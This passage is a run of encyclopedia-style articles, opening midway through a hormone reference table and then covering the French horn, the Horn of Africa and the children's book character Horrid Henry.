              	peptide

              	Insulin

              	INS

              	pancreas

              	beta cells

              	tyrosine kinase

              	

              	
                Intake of glucose, glycogenesis and glycolysis in liver and muscle from blood

                intake of lipids and synthesis of triglycerides in adipocytes Other anabolic effects

              
            


            
              	peptide

              	Insulin-like growth factor (or somatomedin)

              	IGF

              	liver

              	Hepatocytes

              	tyrosine kinase

              	

              	
                insulin-like effects

                regulate cell growth and development

              
            


            
              	peptide

              	Leptin

              	LEP

              	adipose tissue

              	

              	

              	

              	decrease of appetite and increase of metabolism.
            


            
              	peptide

              	Luteinizing hormone

              	LH

              	anterior pituitary

              	gonadotropes

              	cAMP

              	

              	
                In female: ovulation

                In male: stimulates Leydig cell production of testosterone

              
            


            
              	peptide

              	Melanocyte stimulating hormone

              	MSH or -MSH

              	anterior pituitary/ pars intermedia

              	Melanotroph

              	cAMP

              	

              	melanogenesis by melanocytes in skin and hair
            


            
              	peptide

              	Orexin

              	

              	hypothalamus

              	

              	

              	

              	wakefulness and increased energy expenditure, increased appetite
            


            
              	peptide

              	Oxytocin

              	OXT

              	posterior pituitary

              	Magnocellular neurosecretory cells

              	IP3

              	

              	
                release breast milk

                Contraction of cervix and vagina Involved in orgasm, trust between people. and circadian homeostasis (body temperature, activity level, wakefulness) .

              
            


            
              	peptide

              	Parathyroid hormone

              	PTH

              	parathyroid gland

              	parathyroid chief cell

              	cAMP

              	

              	
                increase blood Ca2+: *indirectly stimulate osteoclasts

                
                  	Ca2+ reabsorption in kidney


                  	activate vitamin D

                


                (Slightly) decrease blood phosphate:


                
                  	(decreased reuptake in kidney but increased uptake from bones


                  	activate vitamin D)

                

              
            


            
              	peptide

              	Prolactin

              	PRL

              	anterior pituitary, uterus

              	lactotrophs of anterior pituitary

              Decidual cells of uterus

              	

              	

              	milk production in mammary glands

              sexual gratification after sexual acts
            


            
              	peptide

              	Relaxin

              	RLN

              	uterus

              	Decidual cells

              	

              	

              	Unclear in humans
            


            
              	peptide

              	Secretin

              	SCT

              	duodenum

              	S cell

              	

              	

              	
                Secretion of bicarbonate from liver, pancreas and duodenal Brunner's glands

                Enhances effects of cholecystokinin Stops production of gastric juice

              
            


            
              	peptide

              	Somatostatin

              	SRIF

              	hypothalamus, islets of Langerhans, gastrointestinal system

              	delta cells in islets

              Neuroendocrince cells of the Periventricular nucleus in hypothalamus

              	

              	

              	
                Inhibit release of GH and TRH from anterior pituitary

                Suppress release of gastrin, cholecystokinin (CCK), secretin, motilin, vasoactive intestinal peptide (VIP), gastric inhibitory polypeptide (GIP), enteroglucagon in gastrointestinal system

                Lowers rate of gastric emptying

                Reduces smooth muscle contractions and blood flow within the intestine

                Inhibit release of insulin from beta cells

                Inhibit release of glucagon from beta cells

                Suppress the exocrine secretory action of pancreas.

              
            


            
              	peptide

              	Thrombopoietin

              	TPO

              	liver, kidney, striated muscle

              	Myocytes

              	

              	megakaryocytes

              	produce platelets
            


            
              	peptide

              	Thyroid-stimulating hormone (or thyrotropin)

              	TSH

              	anterior pituitary

              	thyrotropes

              	cAMP

              	thyroid gland

              	secrete thyroxine (T4) and triiodothyronine (T3)
            


            
              	peptide

              	Thyrotropin-releasing hormone

              	TRH

              	hypothalamus

              	Parvocellular neurosecretory neurons

              	IP3

              	anterior pituitary

              	Release thyroid-stimulating hormone (primarily)

              Stimulate prolactin release
            


            
              	steroid - glu.

              	Cortisol

              	

              	adrenal cortex ( zona fasciculata and zona reticularis cells)

              	

              	direct

              	

              	
                Stimulation of gluconeogenesis

                Inhibition of glucose uptake in muscle and adipose tissue Mobilization of amino acids from extrahepatic tissues Stimulation of fat breakdown in adipose tissue anti-inflammatory and immunosuppressive

              
            


            
              	steroid - min.

              	Aldosterone

              	

              	adrenal cortex ( zona glomerulosa)

              	

              	direct

              	

              	
                Increase blood volume by reabsorption of sodium in kidneys (primarily)

                Potassium and H+ secretion in kidney.

              
            


            
              	steroid - sex ( and)

              	Testosterone

              	

              	testes

              	Leydig cells

              	direct

              	

              	
                Anabolic: growth of muscle mass and strength, increased bone density, growth and strength,

                Virilizing: maturation of sex organs, formation of scrotum, deepening of voice, growth of beard and axillary hair.

              
            


            
              	steroid - sex ( and)

              	Dehydroepiandrosterone

              	DHEA

              	testes, ovary, kidney

              	Zona fasciculata and Zona reticularis cells of kidney

              theca cells of ovary

              Leydig cellss of testes

              	direct

              	

              	Virilization, anabolic
            


            
              	steroid - sex ( and)

              	Androstenedione

              	

              	adrenal glands, gonads

              	

              	direct

              	

              	Substrate for estrogen
            


            
              	steroid - sex ( and)

              	Dihydrotestosterone

              	DHT

              	multiple

              	

              	direct

              	

              	
            


            
              	steroid - sex ( est)

              	Estradiol

              	E2

              	females: ovary, males testes

              	females: granulosa cells, males: Sertoli cell

              	direct

              	

              	
                Females:

                Structural:


                
                  	promote formation of female secondary sex characteristics


                  	accelerate height growth


                  	accelerate metabolism (burn fat)


                  	reduce muscle mass


                  	stimulate endometrial growth


                  	increase uterine growth


                  	maintenance of blood vessels and skin


                  	reduce bone resorption, increase bone formation

                


                Protein synthesis:


                
                  	increase hepatic production of binding proteins

                


                Coagulation:


                
                  	increase circulating level of factors 2, 7, 9, 10, antithrombin III, plasminogen


                  	increase platelet adhesiveness

                


                Increase HDL, triglyceride, height growth Decrease LDL, fat deposition Fluid balance:


                
                  	salt (sodium) and water retention


                  	increase growth hormone


                  	increase cortisol, SHBG

                


                Gastrointestinal tract:


                
                  	reduce bowel motility


                  	increase cholesterol in bile

                


                Melanin:


                
                  	increase pheomelanin, reduce eumelanin

                


                Cancer: support hormone-sensitive breast cancers Suppression of production in the body of estrogen is a treatment for these cancers.


                Lung function:


                
                  	promote lung function by supporting alveoli.

                


                Males: Prevent apoptosis of germ cells

              
            


            
              	steroid - sex ( est)

              	Estrone

              	

              	ovary

              	granulosa cells, Adipocytes

              	direct

              	

              	
            


            
              	steroid - sex ( est)

              	Estriol

              	

              	placenta

              	syncytiotrophoblast

              	direct

              	

              	
            


            
              	steroid - sex ( pro)

              	Progesterone

              	

              	ovary, adrenal glands, placenta (when pregnant)

              	Granulosa cells theca cells of ovary

              	direct

              	

              	
                Support pregnancy:

                Convert endometrium to secretory stage Make cervical mucus permeable to sperm. Inhibit immune response, e.g. towards the human embryo. Decrease uterine smooth muscle contractility Inhibit lactation Inhibit onset of labor. Support fetal production of adrenal mineralo- and glucosteroids.


                Other: Raise epidermal growth factor-1 levels Increase core temperature during ovulation Reduce spasm and relax smooth muscle (widen bronchi and regulate mucus) Antiinflammatory Reduce gall-bladder activity Normalize blood clotting and vascular tone, zinc and copper levels, cell oxygen levels, and use of fat stores for energy. Assist in thyroid function and bone growth by osteoblasts Relsilience in bone, teeth, gums, joint, tendon, ligament and skin Healing by regulating collagen Nerve function and healing by regulating myelin Prevent endometrial cancer by regulating effects of estrogen.

              
            


            
              	sterol

              	Calcitriol (1,25-dihydroxyvitamin D3)

              	

              	skin/ proximal tubule of kidneys

              	

              	direct

              	

              	
                Active form of vitamin D3

                Increase absorption of calcium and phosphate from gastrointestinal tract and kidneys inhibit release of PTH

              
            


            
              	sterol

              	Calcidiol (25-hydroxyvitamin D3)

              	

              	skin/ proximal tubule of kidneys

              	

              	direct

              	

              	Inactive form of Vitamin D3
            


            
              	eicosanoid

              	Prostaglandins

              	PG

              	seminal vesicle

              	

              	

              	

              	
            


            
              	eicosanoid

              	Leukotrienes

              	LT

              	

              	white blood cells

              	

              	

              	
            


            
              	eicosanoid

              	Prostacyclin

              	PGI2

              	endothelium

              	

              	

              	

              	
            


            
              	eicosanoid

              	Thromboxane

              	TXA2

              	

              	platelets

              	

              	

              	
            


            
              	

              	Prolactin releasing hormone

              	PRH

              	hypothalamus

              	

              	

              	

              	Release prolactin from anterior pituitary
            


            
              	

              	Lipotropin

              	PRH

              	anterior pituitary

              	Corticotropes

              	

              	

              	lipolysis and steroidogenesis,

              stimulates melanocytes to produce melanin
            


            
              	

              	Brain natriuretic peptide

              	BNP

              	heart

              	Cardiac myocytes

              	

              	

              	
                (To a minor degree than ANP) reduce blood pressure by:

                reducing systemic vascular resistance, reducing blood water, sodium and fats

              
            


            
              	

              	Neuropeptide Y

              	NPY

              	Stomach

              	

              	

              	

              	increased food intake and decreased physical activity
            


            
              	

              	Histamine

              	

              	Stomach

              	ECL cells

              	

              	

              	stimulate gastric acid secretion
            


            
              	

              	Endothelin

              	

              	Stomach

              	X cells

              	

              	

              	Smooth muscle contraction of stomach
            


            
              	

              	Pancreatic polypeptide

              	

              	Pancreas

              	PP cells

              	

              	

              	Unknown
            


            
              	

              	Renin

              	

              	Kidney

              	Juxtaglomerular cells

              	

              	

              	Activates the renin-angiotensin system by producing angiotensin I of angiotensinogen
            


            
              	

              	Enkephalin

              	

              	Kidney

              	Chromaffin cells

              	

              	

              	Regulate pain
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          The horn (informally known also as the French horn) is a brass instrument descended from the natural horn that consists of about 12 feet of tubing (for a single horn in the key of F), wrapped into a compact, coiled form with a flared bell.


          Most horns have finger-operated valves (a horn without valves is known as a natural horn, and some horns such as the vienna horn use piston valves). A single horn, which will usually be tuned to either F or B flat, has three valves; the more common double horn has two sets of tubing (generally F and B flat) and a fourth valve, operated by the thumb, which routes the air flow to one or other set. Triple horns, with five valves, are also made.


          A musician who plays the horn is called a horn player or hornist (less frequently used term). ( The International Horn Society has recommended since 1971 that the instrument itself be properly referred to solely as the horn.)


          


          General characteristics


          The single horn is usually pitched in the key of F, although smaller instruments (for children) may be pitched in B flat. Compared to the other brass instruments in the orchestra, it has a very different mouthpiece, but has the widest range-- approximately four octaves (depending on the ability of the player). To produce different notes on the horn, one must do many things--the three most important are pressing the valves, producing the appropriate amount of lip tension, and blowing air into the instrument. More lip tension and faster air produces higher notes. Less lip tension and slower air produces lower notes. The horn plays in a higher portion of its overtone series than most brass instruments. Its conical bore is largely responsible for its characteristic tone, often described as "mellow".


          Music for the horn is typically written in F, and sounds a perfect fifth lower than written. The limitations on the range of the instrument are primarily governed by the available valve combinations for the first four octaves of the overtone series and after that by the ability of the player to control the pitch through their air supply and embouchure. The typical written ranges for the horn start at either the F-sharp immediately below the bass clef or the C an octave below middle C.


          The standard range starting from a low F-sharp is based on the characteristics of the single horn in F. However, there is a great deal of music written beyond this range on the assumption that players are using a double horn in F/B-flat. This is the standard orchestral instrument and its valve combinations allow for the production of every chromatic tone from two octaves on either side of the horn's written middle-C (sounding F two octaves below the bass clef to F at the top of the treble clef). Although the upper register of the horn is usually written only up to a high C, two octaves above the horn's middle C (sounding F at the top of the treble clef), higher pitches can be produced beyond this depending on a player's ability.


          Also important to note is that many pieces from Baroque to Romantic periods are written in keys other than F, with the player providing the final transposition to the correct pitch. This practice began in the early days of the horn before valves, when the composer would indicate the key the horn should be in (horn in D, horn in C, etc.) and the part would be notated as if it were in C. For example, a written C for horn in D would be transposed down a minor third and played as an A on F horn. This tradition was only recently abandoned, being used as late as Wagner and Richard Strauss, albeit only for short passages (the majority of the piece being written for horn in F).


          


          History
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          Early horns were much simpler than modern horns. These early horns were brass tubes with a flared opening (the bell) wound around a few times. These early "hunting" horns were originally played on a hunt, often while mounted. Change of pitch was effected entirely by the lips (the horn not being equipped with valves until the 19th century). The horn was used to call hounds on a hunt and created a sound most like a human voice, but carried much farther.


          In orchestral settings, the horn (or, more often, pairs of horns) often invoked the idea of the hunt, or, beginning in the later baroque, determined the character of the key being played or represented nobility, royalty, or divinity.


          Early horns were commonly pitched in B-flat alto, A, A-flat, G, F, E, E-flat, D, C, and B-flat basso. Since the only notes available were those on the harmonic series of one of those pitches, they had no ability to play in different keys. The remedy for this limitation was the use of crooks, i.e. sections of tubing of differing length that, when inserted, altered the length of the instrument, and thus its pitch.


          Orchestral horns are traditionally grouped into "high" horn and "low" horn pairs. Players specialize to negotiate the unusually wide range required of the instrument. Formerly, in certain situations, composers would call for two pairs of horns in two different keys; for example, a composer might call for two horns in C and two in E-flat for a piece in c minor, in order to gain harmonics of the relative major unavailable on the C horns. Eventually, two pairs of horns became the standard, and from this tradition of two independent pairs, each with its own "high" and "low" horn comes the modern convention of writing the 1st and 3rd parts above 2nd and 4th.


          In the mid-18th century, hornists began to insert the right hand into the bell to change the length of the instrument, adjusting the tuning up to the distance between two adjacent harmonics depending on how much of the opening was covered. This technique, known as hand-stopping, is generally credited to A. J. Hampel around 1750, and was refined and carried to much of Europe by the influential Giovanni Punto. This offered more possibilities for playing notes not on the harmonic series. By the early classical period, the horn had become an instrument capable of much melodic playing.


          Around 1815 the use of pistons (later rotary valves) was introduced, initially to overcome problems associated with changing crooks during a performance. The use of valves opened up a great deal more flexibility in playing in different keys; in effect, the horn became an entirely different instrument, fully chromatic for the first time, although valves were originally used primarily as a means to play in different keys without crooks, not for harmonic playing. That is reflected in compositions for horns, which only began to include chromatic passages in the late 19th century. When valves were invented, the French made smaller horns with piston valves and the Germans made larger horns with rotary valves. It is the German horn that is referred to in America as the French horn. Many traditional conservatories and players refused to transition at first, claiming that the valveless horn, or " natural horn", was a better instrument. Some musicians still use a natural horn when playing in original performance styles, seeking to recapture the sound and tenor in which an older piece was written.


          


          Types of horns
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          Natural horn


          The natural horn is the ancestor of the modern horn. It is essentially descended from hunting horns, with its pitch controlled by air speed, aperture (opening of the lips through which the air passes) and the use of the right hand moving in and out of the bell. Today it is played as a period instrument. The natural horn can only play from a single harmonic series at a time because there is only one length of tubing available to the horn player. The player has a choice of key through changing the length of tubing with crooks.


          


          Single horn


          Single horns use a single set of tubes connected to the valves. This allows for simplicity of use and a much lighter weight. They are usually in the keys of F or B-flat, although many F horns have longer slides to tune them to E-flat, and almost all B-flat horns have a valve to put them in the key of A. The problem with single horns is the inevitable choice between accuracy or tone - while the F horn has the "typical" horn sound, above third-space C accuracy is concern for the majority of players. This led to the development of the B-flat horn, which, although easier to play accurately, has a less desirable sound in the mid and especially the low register where it is not able to play all of the notes. The solution has been the development of the double horn which combines the two into one horn with a single lead pipe and bell. Both main types of single horns are still used today as student models because they are cheaper and lighter than double horns. In addition, the single Bb horns is sometimes used in solo and chamber performances and the single F survives orchestrally as the Vienna Horn. Additionally, single F alto and Bb alto descants are used in the performance of some baroque horn concertos and F, Bb and F alto singles are occasionally used by jazz performers.


          Dennis Brain's benchmark recordings of the Mozart horn concerti were made on a single B flat instrument by Gebr. Alexander, now on display at the Royal Academy of Music in London.


          


          Double horn
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          Despite the introduction of valves, the single F horn proved difficult for use in the highest range, where the partials grew closer and closer, making accuracy a great challenge. An early solution was simply to use a horn of higher pitch -- usually B-flat. The use of the F versus the B-flat horn were a hotbed of debate between horn players of the late nineteenth century, until the German horn maker Kruspe produced a prototype of the "double horn" in 1897.


          The double horn combines two instruments into a single frame: the original horn in F, and a second, higher horn keyed in B-flat. By using a fourth valve (operated by the thumb), the horn player can quickly switch from the deep, warm tones of the F horn to the higher, brighter tones of the B-flat horn. The two sets of tones are commonly called "sides" of the horn. Using the fourth valve not only changes the basic length (and thus pitch) of the instrument, it also causes the three main valves to use proportionate slide lengths.


          In the words of Reginald Morley-Pegge, the invention of the double horn "revolutionized horn playing technique almost as much as did the invention of the valve." [Morley-Pegge, "Orchestral," 195]


          In the USA, the two most common styles ("wraps") of double horns are named Kruspe and Geyer (based on an earlier maker by the name of Knopf), after the first instrument makers who developed and standardized them. The Kruspe wrap locates the B flat change valve above the first valve, near the thumb. The Geyer wrap has the change valve behind the third valve, near the pinky finger (although the valve's trigger is still played with the thumb). In effect, the air flows in a completely different direction on the other model. Kruspe wrap horns tend to be larger in the bell throat than the Geyer type. Typically, Kruspe models are constructed from nickel silver or German Silver, while Geyer type horns tend to be of yellow brass. Both models have their own strengths and weaknesses, and while the choice of instrument is very personal, an orchestral horn section is usually found to have either one or the other, owing to the differences in tone colour, response, and projection of the two different styles.


          In the UK and Europe the most popular horns are arguably those made by Gebr. Alexander, of Mainz (particularly the Alexander 103), and those made by Paxman in London. In Germany and the Benelux countries, the Alex. 103 is extremely popular. These horns do not fit strictly into the Kruspe or Geyer camps, but have features from both. Alexander prefers the traditional medium bell size, which they have produced for many years, whereas Paxman do offer their models in a range of bell throat sizes. In the United States, the Conn 8D, a mass produced instrument based on the Kruspe design, has been popular in some areas (New York, Los Angeles, Cleveland, Philadelphia), while Geyer model horns (by Geyer, Karl Hill, Keith Berg, Steve Lewis, Dan Rauch, and Ricco-Kuhn) are used in other areas (such as San Francisco, Chicago, Boston, Houston).


          


          Compensating double horn


          The first design of double horn did not have a separate set of slides pitched in F. Rather, the main key of the horn was B-flat (the preference of German horn players) and it could be played in F by directing air through the B flat slides, an F extension, and another set of tiny slides. This "compensated" for the longer length of the F slides, producing a horn now called the "compensating double". It was, and still is, widely used by European horn players because of its light weight and ease of playing, especially in the high register.


          


          Triple horn


          The current trend in the equipment that professional horn players are using is a gravitation toward the triple horn. This relatively new design was created to afford the player even more security in the high register. It employs not only the F and B-flat horns, but also a third, descant horn. This descant horn is usually pitched an octave above the F horn, though it can be pitched in E-flat alternatively. It is activated through the use of a second thumb valve. The triple horn was met with considerable resistance when it first appeared. Horn players were reluctant to spend far more money for a triple horn than they would for a double horn, and a feeling that using a triple horn to help with the high register was "cheating" was rampant amongst prominent horn players. Also, the horns were much heavier than the average double horn. Players noted that their arms became fatigued much faster. As these drawbacks were eliminated, the triple horn gained popularity. Like double horns, triple horns can come in both full and compensating wraps. Today, they can be found playing in many professional orchestras. Europe seems to have more openly accepted the triple horn than the United States. Their popularity continues to grow, and their impact on the modern horn scene still remains to be calculated.


          


          Vienna horn
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          The Vienna horn is a special horn used primarily in Vienna, Austria. Instead of using rotary valves or piston valves, it uses the Pumpenvalve (or Vienna Valve), which is a double-piston operating inside of the valve slides, and usually situated on the opposite side of the corpus from the player's left hand, and operated by a long pushrod. Unlike the modern horn, which has grown considerably larger internally (for a bigger, broader, and louder tone), and considerably heavier (with the addition of valves and tubing in the case of the double horn) the Vienna horn very closely mimics the size and weight of the natural horn, (although the valves do add some weight, they are lighter than rotary valves) even using crooks in the front of the horn, between the mouthpiece and the instrument. Although instead of the full range of keys, Vienna horn players usually use an F crook for most music, switching to an A or B-flat crook for higher pitched music (Beethoven 7th symphony, Bach, various Mozart and Haydn, etc). Vienna horns are often used with funnel shaped mouthpieces similar to those used on the natural horn, with very little (if any) backbore and a very thin rim. The Viennese horn requires very specialized technique and can be quite challenging to play, even for accomplished players of modern horns.


          


          Marching Horn


          The marching horn is quite similar to the mellophone in shape and appearance, but is pitched in the key of B-flat (the same as the B-flat side of a regular double horn). The marching horn is also normally played with a horn mouthpiece (unlike the mellophone, which needs an adapter to fit the horn mouthpiece). These instruments are primarily used in marching bands, but in many colleges and drum corps they are being replaced with mellophones, which can better balance the tone of the trumpets and trombones.


          


          Mellophone


          The Mellophone is a single horn, usually in B-flat, but can also be pitched in G (drum corps version, pre 2000) or F alto. It is shaped more like a trumpet than a regular horn, with piston valves and a forward-pointing bell. These horns are generally considered better marching instruments than regular horns because their position is more stable, they project better, and they weigh less.


          Sometimes, a derivative of the F alto horn, commonly used in brass bands, called a mellophone is used. The first Mellophones, pitched in E flat were shaped like a french horn, but had the chirality reversed to allow the trumpet player to cover Horn parts without making the difficult transition to playing with the left hand. Modern Mellophones are pitched in F alto, and, though they are usually played with a trumpet mouthpiece, their range overlaps the common playing range of the horn. This mouthpiece switch makes the Mellophone louder, less mellow, and more brassy and brilliant (though not as much as a trumpet), making it more appropriate for marching bands. Sometimes, however, Mellophones are unpopular with Horn players because the mouthpiece change is difficult and requires a whole new technique. Another unpopular feature of the Mellophone is how it is played (with the right hand instead of the left, as with the French Horn), and is played with trumpet fingerings, which can confuse the horn player. Intonation is also a source of grief when playing the Mellophone.


          In concerts, mellophones and marching horns have an inferior tone to regular concert horns, and are much more out of tune because the player cannot use their hand to improve tuning. For these reasons, marching horn is usually only played in marching bands and jazz bands, and not in concert settings.


          


          Wagner tuba


          The Wagner tuba is a rare brass instrument that is essentially a horn modified to have a larger bell throat and a vertical bell. Invented for Richard Wagner specifically for his work Der Ring des Nibelungen, it has since been written for by various other composers, including Bruckner and R. Strauss. It uses a horn mouthpiece and is available as a single tuba in B flat or F, or, more recently, as a double tuba similar to the double horn.


          


          Other modifications


          The horn, although not large, is awkward in its shape and does not lend itself well to transport. To compensate, horn makers can make the bell detachable. This allows for smaller and more manageable horn cases. The player can attach the bell when performing. This also allows for different bells to be used on the same horn, somewhat alleviating the need for multiple horns for different styles.


          


          Repertoire


          The horn is most often used as an orchestral instrument, with its singular tone being employed by composers to achieve specific effects. Leopold Mozart, for example, used horns to signify the hunt, as in his Jagdsinfonie (hunting symphony). Once the technique of hand-stopping had been developed, allowing fully chromatic playing, composers began to write seriously for the horn. Telemann wrote much for the horn, and it features prominently in the work of Handel and in Bach's Brandenburg Concerto no. 1. Gustav Mahler made great use of the horn's uniquely haunting and distant sound in his symphonies, notably the famous Nachtmusik (night music) section of his Symphony No. 7.


          Many composers have written just one or a few notable works which have become established as favourites in the horn repertoire; this includes Poulenc (Elegie) and Saint-Sans (Concertpiece for horn and orchestra, op. 94 and Romance). Others, particularly Mozart, whose friend Joseph Leutgeb was a noted horn player, wrote extensively for the instrument including concerti and other solo works. Mozart's A Musical Joke satirises the limitations of contemporary horn playing, including the risk of selecting the wrong crook by mistake. By the end of the 18th Century the horn was sufficiently established as a solo instrument that the hornist Giovanni Punto became an international celebrity, touring Europe and inspiring works by composers as significant as Beethoven.


          The development of the valve horn was exploited by romantic composers such as Richard Strauss, Bruckner and Mahler. Strauss's Till Eulenspiegels lustige Streiche (Till Eulenspiegel's merry pranks) contains one of the best known horn solos from this period.


          Horn music in England had something of a renaissance in the mid 20th Century when Dennis Brain inspired works such as Britten's Serenade for Tenor, Horn and Strings and other works from contemporary composers such as Michael Tippett, who stretches horn ensemble playing to its technical limits in his Sonata for Four Horns. Peter Maxwell Davies was commissioned by 50 amateur and professional UK horn players to write a horn piece to commemorate the 50th anniversary of Brain's death.


          Much of the repertoire is scored as featured parts for the orchestral players, especially the principal horn. It is common for leading horn players to move from principal positions in the great orchestras to distinguished solo careers, a path followed by Brain and many since.


          There is an abundance of chamber music repertoire for horn. It is a standard member of woodwind quintet instrumentation and often appears in other configurations, such as Brahms's "Horn Trio" for violin, horn and piano.


          



          


          Notable horn players


          
            	Giovanni Punto, more famous than Beethoven, in his day, at least one international horn prize is named after him.


            	Dennis Brain ( Royal Philharmonic and Philharmonia Orchestras)


            	Barry Tuckwell ( London Symphony Orchestra), author of The French Horn in the Menuhin instruments series.


            	David Pyatt (youngest winner of the BBC Young Musician of the Year competition)


            	Philip Farkas (former principal of the Chicago Symphony, author, and developer of the Holton Farkas horn)


            	Radovan Vlatković, one of the youngest winner of ARD music award, solo performer, former principal and soloist of Berlin Radio Symphony Orchestra, prof. at Mozarteum Academy in Salzburg.


            	Hermann Baumann, winner of the ARD Radio/Television Competition in Munich in 1964.
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          The Horn of Africa (alternatively Northeast Africa, and sometimes Somali Peninsula) is a peninsula of East Africa that juts for hundreds of kilometers into the Arabian Sea, and lies along the southern side of the Gulf of Aden. It is the easternmost projection of the African continent. The term also refers to the greater region containing the countries of Eritrea, Djibouti, Ethiopia and Somalia. As such, it covers approximately 2,000,000 km (772,200 sqmi) and is inhabited by about 90.2 million people (Ethiopia: 75million, Somalia: 10million, Eritrea: 4.5million, and Djibouti: 0.7million).


          


          Geography and climate
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          The Horn of Africa is almost equidistant from the equator and the Tropic of Cancer. It consists chiefly of mountains uplifted through the formation of the Great Rift Valley, a fissure in the Earth's crust extending from Turkey to Mozambique and marking the separation of the African and Arabian tectonic plates. Most of the region is mountainous due to faults resulting from the Rift Valley, with the highest peaks in the Simien Mountains of northwestern Ethiopia. Extensive glaciers once covered the Simien and Bale Mountains, but melted at the beginning of the Holocene. The mountains descend in a huge escarpment to the Red Sea and more steadily to the Indian Ocean. Socotra is a small island in the Indian Ocean off the coast of Somalia. Its size is 3,600km (1,390sqmi) and it is a territory of Yemen, the southernmost country on the Arabian peninsula.


          The lowlands of the Horn are generally arid in spite of their proximity to the equator. This is because the winds of the tropical monsoons that give seasonal rains to the Sahel and the Sudan blow from the west. Consequently, they lose their moisture upon reaching Djibouti and Somalia, with the result that most of the Horn receives little rainfall during the monsoon season. On the windward side in the west and centre of Ethiopia, and the extreme south of Eritrea, monsoonal rainfall is heavy. In the mountains of Ethiopia, many areas receive over 2,000 mm (78 in) per year, and even Asmara receives an average of 570mm (23in). This rainfall is the sole source of water for many areas far from Ethiopia, most famously for Egypt, which  in terms of rainfall  is the driest nation on Earth.


          In the winter, the northeasterly trade winds do not provide any moisture except in mountainous areas of northern Somalia, where rainfall in late autumn can produce annual totals as high as 500mm (20in). On the eastern coast, a strong upwelling and the fact that the winds blow parallel to the coast means annual rainfall can be as low as 51mm (2in).


          Temperatures on the Red Sea coast are some of the hottest in the world, typically around 41C (106F) in July and 32C (90F) in January. On the east coast, owing to the upwelling, they are somewhat, cooler but still hot. As elevation increases, temperatures decrease, so that at Asmara, maxima are around 20C (68F), though frosts are frequent on cloudless nights. On the highest peaks of the Simien Mountains, however, temperatures rarely reach 14C (57F) and can be as low as 10C (14F) on cloudless nights.


          


          History


          


          Ancient history


          The Kingdom of Aksum (also known as "Axum") was an ancient state located in modern-day Ethiopia, Eritrea, northern Somalia and Yemen that thrived between the 1st and 7th centuries. Due to the Horn's strategic location, it has been used to restrict access to the Red Sea in the past.
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          The region was also a source of biological resources during the Antiquity: The Ancient Egyptians, Greeks and Romans sent expeditions to the region for frankincense, myrrh, dragon's blood or cinnabar and took these commodities back along the Incense Route. Therefore the Romans called this region Regio Aromatica. It is believed to also contain the fabled Egyptian Land of Punt.


          The Horn was also part of a network of ports that extended down the coast of Africa, from the Persian Gulf as part of a larger and ancient commerce route along the greater Indian Ocean rim.


          


          Modern history


          In recent decades, the Horn of Africa has been a region continuously in crisis. Ethiopia occupies a predominant position in the Horn because of its demographic importance: about 85% of the area's population live in this country. Large parts of the Horn of Africa were colonized by Italy: Eritrea (1880-1941), the Italian Somaliland protectorate (1890-1960) and a brief occupation of Ethiopia (1936-1941). Britain established in North Somalia ( British Somaliland) and France in Djibouti (French Somaliland). Yet Ethiopia's history is largely marked by conflicts between Muslims and Christians for resources and living space, as well as between nationalism and Marxism-Leninism in modern times. The rest of the region also faces several concurrent problems: Somalia is still caught up in a civil war which first began in the late 1980's, while Ethiopia and Eritrea regularly clash.


          Moreover, the region is regularly stricken by natural catastrophes, such as droughts or floods that hit rural areas particularly hard. As a result, the region has some of the world's highest levels of malnutrition and is continuously threatened with a major humanitarian crisis. Between 1982 and 1992, about two million people died in the Horn of Africa due to this combination of war and famine.


          Since 2002 The Horn of Africa has been a major focus of attention by the United States, France, Germany, and eleven African nations regarding the War on Terrorism.


          


          Culture and ethnicity
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          The countries of the Horn of Africa are culturally linked together. Local people have been using the plow for cultivation and kept the Arabian dromedary as domestic animals for a long time and for the most part represent a unique cultural and racial bloc on the continent.


          Some important ethno-linguistic groups in the Horn of Africa are:


          
            	In Djibouti: the Afar (Danakil) and the Somali (Issa)

          


          
            	In Eritrea: the Bilen, the Afar, the Hedareb ( Beni-Amer/ Beja), the Kunama (Baza), the Nara (Nialetic), the Saho (Irob), the Rashaida, the Tigre, and the Tigrinya. The Jebertis are Muslim Tigrinyas who consider themselves as a separate ethnicity, but are not recognized by other sources.

          


          
            	In Ethiopia: Amharas, Afars, Agaw groups, Gurages, Hamers, Hararis (also Hadere or Adere), the Irob (Catholic Sahos), Sidamas, Oromos, Saho, Somali, Tigrayans, as well as many other small groups (see also ethnicities listed at Southern Nations, Nationalities, and People's Region) .

          


          
            	In Somalia: the Somali

          


          


          Economy


          States of the region depend largely on a few key exports:


          
            	Ethiopia: Coffee 80% of total exports.


            	Somalia: Bananas and livestock over 50% of total exports.

          


          


          Ecology
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          The Horn of Africa is a UNESCO Biodiversity Hotspot and one of the two entirely arid ones. However the Horn of Africa suffers largely from overgrazing and only 5% of its original habitat still remains. On Socotra, another great threat is the development of infrastructure.


          


          Fauna


          About 220 mammals are found in the Horn of Africa. Among threatened species of the region, we find several antelopes such as the beira, the dibatag, the silver dikdik and the Spekes gazelle. Other remarkable species include the Somali wild ass, the desert warthog, the Hamadryas Baboon, the Somali pygmy gerbil, the ammodile, and the Spekes pectinator. The Grevy's zebra is the unique wild equid of the region.


          Some important bird species of the Horn are the Bulo Burti boubou, the golden-winged grosbeak, the Warsangli linnet, or the Djibouti Francolin.


          The Horn of Africa holds more endemic reptiles than any other region in Africa, with over 285 species total (and about 90 species found exclusively in the region). Among endemic reptile genera, there are Haackgreerius, Haemodracon, Ditypophis, Pachycalamus and Aeluroglena. Half of these genera are uniquely found on Socotra. Unlike reptiles, amphibians are poorly represented in the region.


          There are about 100 species of freshwater fish in the Horn of Africa, about 10 of which are endemic. Among the endemic, we find the cave-dwelling Somali blind barb and the Somali cavefish.


          


          Flora


          It is estimated that about 5,000 species of vascular plants are found in the Horn, about half of which are endemic. Endemism is most developed in Socotra and Northern Somalia. The region has two endemic plant families: the Barbeyaceae and the Dirachmaceae. Among the other remarkable species, there are the cucumber tree found only on Socotra (Dendrosicyos socotrana), the Bankoual palm, the yeheb nut, and the Somali cyclamen.
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          Horrid Henry is a fictional character created by Francesca Simon and illustrated by Tony Ross. The first Horrid Henry book was written and published in 1993 and as of the end of 2007, there have been sixteen titles published, as well as numerous collections, activity books and joke books. The Horrid Henry stories are read on audiobook by the actress Miranda Richardson, and published by Orion Audio. The combined sales of all the Horrid Henry books and audiobooks now stands at over ten million copies. Horrid Henry is published in twenty five languages around the world. In February 2008, an exhibition, "Up to Mischief with Horrid Henry", opened at the Seven Stories Centre for Children's Books in Newcastle.
